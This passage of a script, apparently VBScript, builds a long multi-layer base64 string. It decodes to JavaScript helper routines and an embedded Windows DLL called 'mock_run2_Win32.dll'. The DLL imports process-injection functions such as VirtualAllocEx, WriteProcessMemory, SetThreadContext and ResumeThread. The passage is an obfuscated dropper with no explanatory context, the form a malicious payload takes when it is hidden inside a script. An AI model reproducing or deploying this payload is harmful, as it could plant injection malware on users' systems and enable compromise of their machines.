      x = x & "NCkgew0KCQkJCW91dHB1dCA9IG91dHB1dCArIFN0cmluZy5mcm9tQ2hhckNvZGUoY2hyMyk7DQoJCQl9DQoJCX0NCgkJb3V0cHV0"
      x = x & "ID0gdGhpcy5fdXRmOF9kZWNvZGUob3V0cHV0KTsNCgkJcmV0dXJuIG91dHB1dDsNCgl9LA0KCV91dGY4X2VuY29kZSA6IGZ1bmN0"
      x = x & "aW9uIChzdHJpbmcpIHsNCgkJc3RyaW5nID0gc3RyaW5nLnJlcGxhY2UoL1xyXG4vZywiXG4iKTsNCgkJdmFyIHV0ZnRleHQgPSAi"
      x = x & "IjsNCgkJZm9yICh2YXIgbiA9IDA7IG4gPCBzdHJpbmcubGVuZ3RoOyBuKyspIHsNCgkJCXZhciBjID0gc3RyaW5nLmNoYXJDb2Rl"
      x = x & "QXQobik7DQoJCQlpZiAoYyA8IDEyOCkgew0KCQkJCXV0ZnRleHQgKz0gU3RyaW5nLmZyb21DaGFyQ29kZShjKTsNCgkJCX0gZWxz"
      x = x & "ZSBpZigoYyA+IDEyNykgJiYgKGMgPCAyMDQ4KSkgew0KCQkJCXV0ZnRleHQgKz0gU3RyaW5nLmZyb21DaGFyQ29kZSgoYyA+PiA2"
      x = x & "KSB8IDE5Mik7DQoJCQkJdXRmdGV4dCArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKChjICYgNjMpIHwgMTI4KTsNCgkJCX0gZWxzZSB7"
      x = x & "DQoJCQkJdXRmdGV4dCArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKChjID4+IDEyKSB8IDIyNCk7DQoJCQkJdXRmdGV4dCArPSBTdHJp"
      x = x & "bmcuZnJvbUNoYXJDb2RlKCgoYyA+PiA2KSAmIDYzKSB8IDEyOCk7DQoJCQkJdXRmdGV4dCArPSBTdHJpbmcuZnJvbUNoYXJDb2Rl"
      x = x & "KChjICYgNjMpIHwgMTI4KTsNCgkJCX0NCiANCgkJfQ0KCQlyZXR1cm4gdXRmdGV4dDsNCgl9LA0KCV91dGY4X2RlY29kZSA6IGZ1"
      x = x & "bmN0aW9uICh1dGZ0ZXh0KSB7DQoJCXZhciBzdHJpbmcgPSAiIjsNCgkJdmFyIGkgPSAwOw0KCQl2YXIgYyA9IGMxID0gYzIgPSAw"
      x = x & "Ow0KCQl3aGlsZSAoIGkgPCB1dGZ0ZXh0Lmxlbmd0aCApIHsNCgkJCWMgPSB1dGZ0ZXh0LmNoYXJDb2RlQXQoaSk7DQoJCQlpZiAo"
      x = x & "YyA8IDEyOCkgew0KCQkJCXN0cmluZyArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKGMpOw0KCQkJCWkrKzsNCgkJCX0gZWxzZSBpZigo"
      x = x & "YyA+IDE5MSkgJiYgKGMgPCAyMjQpKSB7DQoJCQkJYzIgPSB1dGZ0ZXh0LmNoYXJDb2RlQXQoaSsxKTsNCgkJCQlzdHJpbmcgKz0g"
      x = x & "U3RyaW5nLmZyb21DaGFyQ29kZSgoKGMgJiAzMSkgPDwgNikgfCAoYzIgJiA2MykpOw0KCQkJCWkgKz0gMjsNCgkJCX0gZWxzZSB7"
      x = x & "DQoJCQkJYzIgPSB1dGZ0ZXh0LmNoYXJDb2RlQXQoaSsxKTsNCgkJCQljMyA9IHV0ZnRleHQuY2hhckNvZGVBdChpKzIpOw0KCQkJ"
      x = x & "CXN0cmluZyArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKCgoYyAmIDE1KSA8PCAxMikgfCAoKGMyICYgNjMpIDw8IDYpIHwgKGMzICYg"
      x = x & "NjMpKTsNCgkJCQlpICs9IDM7DQoJCQl9DQoJCX0NCgkJcmV0dXJuIHN0cmluZzsNCgl9LA0KCUluaXRNb2NrRGxsMzI6ZnVuY3Rp"
      x = x & "b24oKXsNCgkJbW9ja0RsbDMyID0gIiI7DQoJCW1vY2tEbGwzMiArPSAiVFZxUUFBTUFBQUFFQUFBQS8vOEFBTGdBQUFBQUFBQUFR"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE4QUFBQUE0ZnVnNEF0QW5OSWJnQiI7DQoJCW1v"
      x = x & "Y2tEbGwzMiArPSAiVE0waFZHaHBjeUJ3Y205bmNtRnRJR05oYm01dmRDQmlaU0J5ZFc0Z2FXNGdSRTlUSUcxdlpHVXVEUTBLSkFB"
      x = x & "QUFBQUFBQUJobHlQSEpmWk5sQ1gyVFpRbDlrMlVYdXBCbENUMiI7DQoJCW1vY2tEbGwzMiArPSAiVFpSSzZVbVVKL1pObEVycFI1"
      x = x & "UWg5azJVcHVwRGxDVDJUWlRtK1JDVUp2Wk5sQ1gyVEpRRDlrMlVQbXZpbENiMlRaUSthOWFVSlBaTmxENXIwSlFrOWsyVVVtbGph"
      x = x & "Q1gyVFpRQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFVRVVBQUV3QkJBQkhQcnBUQUFBQUFBQUFBQURn"
      x = x & "QUFJaEN3RUtBQUFLQUFBQUNnQUFBQUFBQUlnWEFBQUFFQUFBQUNBQUFBQUFBQkFBRUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFJ"
      x = x & "QUFBVUFBUUFBQUFBQUJRQUJBQUFBQUFBQVVBQUFBQVFBQUFBQUFBQUNBRUFCQUFBUUFBQVFBQUFBQUJBQUFCQUFBQUFBQUFBUUFB"
      x = x & "QUFrQ1FBQUZnQUFBQThJUUFBUEFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUJBQUFDNEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1v"
      x = x & "Y2tEbGwzMiArPSAiQUFBQUFBQUFBQ0FBQUpnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBdWRHVjRkQUFBQUc4"
      x = x & "SUFBQUFFQUFBQUFvQUFBQUVBQUFBQUFBQUFBQUFBQUFBQUFBZyI7DQoJCW1vY2tEbGwzMiArPSAiQUFCZ0xuSmtZWFJoQUFEb0JB"
      x = x & "QUFBQ0FBQUFBR0FBQUFEZ0FBQUFBQUFBQUFBQUFBQUFBQVFBQUFRQzVrWVhSaEFBQUFMQUFBQUFBd0FBQUFBZ0FBQUJRQUFBQUFB"
      x = x & "QUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFFQUFBTUF1Y21Wc2IyTUFBQm9CQUFBQVFBQUFBQUlBQUFBV0FBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUJBQUFCQ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1v"
      x = x & "Y2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFGV0w3RkZUVmxkcUFHb0FhZ05xQUdvQmFBQUFBSUJRL3hVRSI7DQoJCW1vY2tEbGwzMiArPSAiSUFB"
      x = x & "UWkvQ0QvdjkwY0dvQVZ2OFZDQ0FBRUl2NGcvLy9kRmxxQkdnQU1BQUFWMm9BL3hWRUlBQVFpOWlGMjNSRGFnQnFBR29BVnY4VkVD"
      x = x & "QUFFR29BalUzOFVWZFRWdjhWUENBQSI7DQoJCW1vY2tEbGwzMiArPSAiRUlYQWRCVTdmZngxRUZiL0ZXUWdBQkJmWG92RFc0dmxY"
      x = x & "Y05vQUlBQUFHb0FVLzhWSENBQUVGYi9GV1FnQUJCZlhqUEFXNHZsWGNQTXpNeFZpK3lENVBpQjdDd0JBQUJUaTEwSSI7DQoJCW1v"
      x = x & "Y2tEbGwzMiArPSAiVmxkVGFnQm8vLzhmQVA4VkpDQUFFSXZ3aGZaMEVHb0JWdjhWT0NBQUVGYi9GV1FnQUJCb0pBRUFBSTFFSkJo"
      x = x & "cUFGREhSQ1FjS0FFQUFPaEJCd0FBZzhRTWFnQnFBdjhWWUNBQSI7DQoJCW1vY2tEbGwzMiArPSAiRUkxTUpCQ0w4RkZXL3hVVUlB"
      x = x & "QVFoY0IwSllzOVVDQUFFRGxjSkNoMURZdFVKQmhTNkh6Ly8vK0R4QVNOUkNRUVVGYi8xNFhBZGVGVy94VmtJQUFRWDE1YmkrVmR3"
      x = x & "OHpNek16TSI7DQoJCW1vY2tEbGwzMiArPSAiek16TXpNek16TXpNekZhTDhJWDJmaXRYaXowWUlBQVFpLzlvNkFNQUFGTk8vOWVG"
      x = x & "d0hRRWhmWjE3MVAvRlZRZ0FCQlE2Q0wvLy8rRHhBUmZYc1BNek16TXpNek16TXpNek14ViI7DQoJCW1vY2tEbGwzMiArPSAiaSt5"
      x = x & "QjdFQUhBQUJUaTlpTFJReFdNL2E1VFZvQUFJbDErR1k1Q0hRSVhqUEFXNHZsWGNOWGkzZzhBL2lCUDFCRkFBQVBoYmtDQUFCcVFJ"
      x = x & "MVZrRlpTeDBXTVJBQUFBT2hVQmdBQSI7DQoJCW1vY2tEbGwzMiArPSAiZzhRTU04QlRab2xGdlA4VmNDQUFFRlpvZ0FBQUFHb0Nq"
      x = x & "VTNVVVdvRGFBQUFBRUJUeDBYVURBQUFBSWwxMk1kRjNBRUFBQUQvRlFRZ0FCQ0w4RFBBZy83L0Q0UmdBZ0FBalZYbyI7DQoJCW1v"
      x = x & "Y2tEbGwzMiArPSAiVW90VkNJMU5qRkZRVUdvRWFnRlFVRkpRaVhYSWlYWE14MFc0QVFFQUFJbEY2SWxGN0lsRjhJbEY5UDhWTkNB"
      x = x & "QUVJWEFENFFpQWdBQWFQOERBQUNOaGNINC8vOXFBRkRHaGNENCI7DQoJCW1vY2tEbGwzMiArPSAiLy84QTZMWUZBQUNMVFJDTFZm"
      x = x & "QlJVbE9OaGNENC8vOW9tQ0FBRUZEL0ZYZ2dBQkNOaGNENC8vK0R4Q0NOVUFHS0NFQ0V5WFg1YWdDTlRkQlJLOEpRalpYQStQLy9V"
      x = x & "bGIvRlNBZyI7DQoJCW1vY2tEbGwzMiArPSAiQUJCVy94VmtJQUFRYU1nQ0FBQ05oY1Q4Ly85cUFGRG9Wd1VBQUl0VjdJUEVESTJO"
      x = x & "d1B6Ly8xRlN4NFhBL1AvL0J3QUJBUDhWQUNBQUVJWEFENFJZQVFBQWk3VmsvZi8vaTFYbyI7DQoJCW1vY2tEbGwzMiArPSAialVY"
      x = x & "OFVHb0VqVTNrVVlQR0NGWlNpWFhnL3hVd0lBQVFoY0FQaEM4QkFBQ0RmZndFRDRVbEFRQUFpMFhrTzBjMGRTRm9xQ0FBRUdqQUlB"
      x = x & "QVEveFZjSUFBUVVQOFZRQ0FBRUl0TiI7DQoJCW1vY2tEbGwzMiArPSAiNUl0VjZGRlMvOUNMUjFDTFR6U0xWZWhxUUdnQU1BQUFV"
      x = x & "RkZTL3hWSUlBQVFpVVg0aGNBUGhQRUFBQUNMVjFTTlRmeFJpMDBNVW90VjZGRlFVdjhWYUNBQUVJWEFENFM1QUFBQSI7DQoJCW1v"
      x = x & "Y2tEbGwzMiArPSAiaTBYOE8wZFVENFd0QUFBQUQ3ZFBGRFBTTTl1TlJEa1laanRYQm5OQmpYQVFrSXNHaGNCMEtJdFdCQU5WREkx"
      x = x & "Ti9GR0xUZWhRaTBiOEEwWDRVbEJSL3hWb0lBQVFoY0IwY0lzVyI7DQoJCW1vY2tEbGwzMiArPSAiTzFYOGRXa1B0MGNHUTRQR0tE"
      x = x & "dllmTWFMZGVDTFJlaU5UZnhSYWdTTlZmaFNWbEQvRldnZ0FCQ0Z3SFJCZzMzOEJIVTdpMDhvQTAzNGkwWHNqWlhBL1AvL1VsQ0pq"
      x = x & "WEQ5Ly8vLyI7DQoJCW1vY2tEbGwzMiArPSAiRlF3Z0FCQ0xUZXhSL3hWc0lBQVFpMVhzVXY4VlpDQUFFSXRGNkY5ZVc0dmxYY09M"
      x = x & "UmZpRndIUVNhQUNBQUFCcUFGQ0xSZWhRL3hVc0lBQVFpMDNzaXpWa0lBQVFVZi9XaTFYbyI7DQoJCW1vY2tEbGwzMiArPSAiVXYv"
      x = x & "V004QmZYbHVMNVYzRHpNek16TXhWaSt5NEFCQUFBT2lqQXdBQWkwVU1VMWFMMmVoWCsvLy9pL0NGOW5VR1hsdUw1VjNEVjJqL0J3"
      x = x & "QUFqWVVCOFAvL2FnQlF4b1VBOFAvLyI7DQoJCW1vY2tEbGwzMiArPSAiQU9oZ0F3QUFhUDhIQUFDTmpRSDQvLzlxQUZIR2hRRDQv"
      x = x & "LzhBNkVZREFBQ0xWUWlMUFhnZ0FCQlRVbzJGQVBELy8yak1JQUFRVVAvWGkwMFVpMVVNaTBVSVVWTlNVSTJOQVBqLyI7DQoJCW1v"
      x = x & "Y2tEbGwzMiArPSAiLzJqVUlBQVFVZi9YZzhSQWpaVUErUC8vVW8yRkFQRC8vMVpRaTBVUTZGajgvLytEeEF4b0FJQUFBR29BVm92"
      x = x & "NC94VWNJQUFRaGY5MEZZdEZGSVhBZmdlTDMranorLy8vVi84ViI7DQoJCW1vY2tEbGwzMiArPSAiWkNBQUVGOWV1QUVBQUFCYmkr"
      x = x & "VmR3MVdMN0l0RkNLTVVNQUFRdUFFQUFBQmR3Z3dBek16TXpNek16TXpNek16TVZZdnNnZXdvQlFBQWl3MFVNQUFRVm1nRkFRQUFq"
      x = x & "WVg0L3YvLyI7DQoJCW1vY2tEbGwzMiArPSAiVUZIL0ZWZ2dBQkNBdmZqKy8vOEFqYlg0L3YvL2RBWkdnRDRBZGZxQVBpNTBDWTFK"
      x = x & "QUU2QVBpNTErbWdBSVFBUVZ2OFZqQ0FBRUlQRUNJWEFkQXE0QVFBQUFGNkw1VjNEaXhVSSI7DQoJCW1vY2tEbGwzMiArPSAiSVFB"
      x = x & "UW9Bd2hBQkNOamZqKy8vOVJpUlpvQlFFQUFJMlY2UHovLzFKb0RTRUFFR2dRSVFBUWlFWUVpelZNSUFBUWFCZ2hBQkQvMW8yRitQ"
      x = x & "Ny8vMUJvQlFFQUFJMk44UDMvLzFGbyI7DQoJCW1vY2tEbGwzMiArPSAiRFNFQUVHZ2NJUUFRYUJnaEFCRC8xbzJWK1A3Ly8xSm9C"
      x = x & "UUVBQUkyRjJQci8vMUJvRFNFQUVHZ2tJUUFRYUJnaEFCRC8xbzJOK1A3Ly8xRm9CUUVBQUkyVjRQdi8vMUpvRFNFQSI7DQoJCW1v"
      x = x & "Y2tEbGwzMiArPSAiRUdnc0lRQVFhQmdoQUJELzFvMkYrUDcvLzFCcUFHZzBJUUFRYUJnaEFCRC9GU2dnQUJCUWpZM2crLy8vVVky"
      x = x & "VjhQMy8vMUtOaGVqOC8vOVFqWTNZK3YvLzZMMzkvLytEeEJBeiI7DQoJCW1vY2tEbGwzMiArPSAid0Y2TDVWM0RpMFFrQ0lYQWRR"
      x = x & "NDVCUkF3QUJCK0x2OE5FREFBRUlzTmlDQUFFSVA0QVlzSmlRMGNNQUFRZFQ5b2dBQUFBUDhWaENBQUVJWEFXYU1rTUFBUWRRUXp3"
      x = x & "T3RtZ3lBQSI7DQoJCW1vY2tEbGwzMiArPSAib1NRd0FCQm9CREFBRUdnQU1BQVFveUF3QUJEbzZ3QUFBUDhGRURBQUVGbFo2ejJG"
      x = x & "d0hVNW9TUXdBQkNGd0hRd2l3MGdNQUFRVm8xeC9EdndjaEtMRG9YSmRBZi8wYUVrTUFBUSI7DQoJCW1vY2tEbGwzMiArPSAiZys0"
      x = x & "RTYrcFEveFY4SUFBUWd5VWtNQUFRQUZsZWFnRll3Z3dBVll2c1U0dGRDRmFMZFF4WGkzMFFoZloxQ1lNOUVEQUFFQURySm9QK0FY"
      x = x & "UUZnLzRDZFNLaEtEQUFFSVhBZEFsWCI7DQoJCW1vY2tEbGwzMiArPSAiVmxQLzBJWEFkQXhYVmxQb0ZmLy8vNFhBZFFRendPdE9W"
      x = x & "MVpUNkpqOS8vK0QvZ0dKUlF4MURJWEFkVGRYVUZQbzhmNy8vNFgyZEFXRC9nTjFKbGRXVStqZy92Ly9oY0IxQXlGRiI7DQoJCW1v"
      x = x & "Y2tEbGwzMiArPSAiRElOOURBQjBFYUVvTUFBUWhjQjBDRmRXVS8vUWlVVU1pMFVNWDE1YlhjSU1BTXovSllBZ0FCRE16TXpNL3lX"
      x = x & "UUlBQVF6TXpNek16TXpNek16RkU5QUJBQUFJMU1KQWh5RklIcCI7DQoJCW1vY2tEbGwzMiArPSAiQUJBQUFDMEFFQUFBaFFFOUFC"
      x = x & "QUFBSFBzSzhpTHhJVUJpK0dMQ0l0QUJGRERBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1v"
      x = x & "Y2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVFJZ0FBSkNJQUFESWlB"
      x = x & "QUJBSWdBQSI7DQoJCW1vY2tEbGwzMiArPSAiVkNJQUFHWWlBQUI0SWdBQWppSUFBSndpQUFDb0lnQUF0aUlBQU00aUFBRGVJZ0FB"
      x = x & "OGlJQUFBUWpBQUFZSXdBQUpDTUFBRFlqQUFCR0l3QUFXQ01BQUhRakFBQ0VJd0FBbENNQSI7DQoJCW1vY2tEbGwzMiArPSAiQUtv"
      x = x & "akFBQytJd0FBMmlNQUFPZ2pBQUQrSXdBQURpUUFBQUFBQUFBcUpBQUFRQ1FBQUVna0FBQlVKQUFBWGlRQUFHNGtBQUI2SkFBQUFB"
      x = x & "QUFBQ1Z6Q2xCSlJEMGxaQW9sY3dBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFCT2RGVnViV0Z3Vm1sbGQwOW1VMlZqZEdsdmJnQUFB"
      x = x & "QUJ1ZEdSc2JDNWtiR3dBQUFBbGN5QWxjd0FBQUUxdlkydE5iMlIxYkdVOUpYTUtVbVZoYkVOdFpEMGxjeUFsY3dwVSI7DQoJCW1v"
      x = x & "Y2tEbGwzMiArPSAiYVcxbFQzVjBQU1ZrQ2dvQUFBQUFMbVJzYkFBQUFBQXVhVzVwQUFBQUFHMXZZMnNBQUFBQVkyWm5BSEpsWVd3"
      x = x & "QUFBQUFZWEpuY3dBQUFBQnZkWFJtQUFBQUFIUnBiV1VBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiZUNFQUFBQUFBQUFBQUFBQUhD"
      x = x & "UUFBQUFnQUFEd0lRQUFBQUFBQUFBQUFBQTBKQUFBZUNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFFQ0lBQUNRaUFBQXlJ"
      x = x & "Z0FBUUNJQSI7DQoJCW1vY2tEbGwzMiArPSAiQUZRaUFBQm1JZ0FBZUNJQUFJNGlBQUNjSWdBQXFDSUFBTFlpQUFET0lnQUEzaUlB"
      x = x & "QVBJaUFBQUVJd0FBR0NNQUFDUWpBQUEySXdBQVJpTUFBRmdqQUFCMEl3QUFoQ01BQUpRaiI7DQoJCW1vY2tEbGwzMiArPSAiQUFD"
      x = x & "cUl3QUF2aU1BQU5vakFBRG9Jd0FBL2lNQUFBNGtBQUFBQUFBQUtpUUFBRUFrQUFCSUpBQUFWQ1FBQUY0a0FBQnVKQUFBZWlRQUFB"
      x = x & "QUFBQURYQVVkbGRGUm9jbVZoWkVOdiI7DQoJCW1vY2tEbGwzMiArPSAiYm5SbGVIUUFBRk1BUTNKbFlYUmxSbWxzWlVFQVl3Rkha"
      x = x & "WFJHYVd4bFUybDZaUUJBQTFObGRGUm9jbVZoWkVOdmJuUmxlSFFBQUJzRFUyVjBSbWxzWlZCdmFXNTBaWElBQUpZQyI7DQoJCW1v"
      x = x & "Y2tEbGwzMiArPSAiVUhKdlkyVnpjek15Um1seWMzUUFBSkFEVjJGcGRFWnZjbE5wYm1kc1pVOWlhbVZqZEFDREExWnBjblIxWVd4"
      x = x & "R2NtVmxBS1FEVjNKcGRHVkdhV3hsQUlZQ1QzQmxibEJ5YjJObCI7DQoJCW1vY2tEbGwzMiArPSAiYzNNQWxnRkhaWFJRY21sMllY"
      x = x & "UmxVSEp2Wm1sc1pVbHVkRUVBaEFOV2FYSjBkV0ZzUm5KbFpVVjRBTGdDVW1WaFpGQnliMk5sYzNOTlpXMXZjbmtBWmdCRGNtVmhk"
      x = x & "R1ZRY205aiI7DQoJCW1vY2tEbGwzMiArPSAiWlhOelFRQUFYZ05VWlhKdGFXNWhkR1ZRY205alpYTnpBQUMxQWxKbFlXUkdhV3hs"
      x = x & "QUFDZ0FVZGxkRkJ5YjJOQlpHUnlaWE56QUFDQkExWnBjblIxWVd4QmJHeHZZd0FBZ2dOVyI7DQoJCW1vY2tEbGwzMiArPSAiYVhK"
      x = x & "MGRXRnNRV3hzYjJORmVBQUFuQUZIWlhSUWNtbDJZWFJsVUhKdlptbHNaVk4wY21sdVowRUFBSmdDVUhKdlkyVnpjek15VG1WNGRB"
      x = x & "Q2xBVWRsZEZCeWIyTmxjM05KWkFBQSI7DQoJCW1vY2tEbGwzMiArPSAiZlFGSFpYUk5iMlIxYkdWR2FXeGxUbUZ0WlVFQUFIOEJS"
      x = x & "MlYwVFc5a2RXeGxTR0Z1Wkd4bFFRQUFjZ0JEY21WaGRHVlViMjlzYUdWc2NETXlVMjVoY0hOb2IzUUFBRFFBUTJ4diI7DQoJCW1v"
      x = x & "Y2tEbGwzMiArPSAiYzJWSVlXNWtiR1VBclFOWGNtbDBaVkJ5YjJObGMzTk5aVzF2Y25rQUFOSUNVbVZ6ZFcxbFZHaHlaV0ZrQUFD"
      x = x & "REFFUmxiR1YwWlVacGJHVkJBRXRGVWs1RlRETXlMbVJzYkFBQSI7DQoJCW1vY2tEbGwzMiArPSAic2dKemNISnBiblJtQUUxVFZr"
      x = x & "TlNWQzVrYkd3QUFGNENabkpsWlFBQUR3RmZhVzVwZEhSbGNtMEFrUUp0WVd4c2IyTUFBSjBBWDJGa2FuVnpkRjltWkdsMkFBREJB"
      x = x & "Vjl6ZEhKcCI7DQoJCW1vY2tEbGwzMiArPSAiWTIxd0FBQ1pBbTFsYlhObGRBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFFYyt1bE1B"
      x = x & "QUFBQXdpUUFBQUVBQUFBQkFBQUFBUUFBQUxna0FBQzhKQUFBd0NRQUFKQVZBQURXSkFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFC"
      x = x & "dGIyTnJYM0oxYmpKZlYybHVNekl1Wkd4c0FFUnNiRkpsWjJsemRHVnlVMlZ5ZG1WeUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1v"
      x = x & "Y2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1v"
      x = x & "Y2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFRQUFDNEFBQUFHVEFwTUVBd1V6QmlN"
      x = x & "SEl3aVRDUU1Md3d5ekRTTVBnd0JqRVFNVFl4V2pGME1lZ3hFekpVTW9veWtUSzdNc0l5OHpJY016c3pRRE5HTTAweiI7DQoJCW1v"
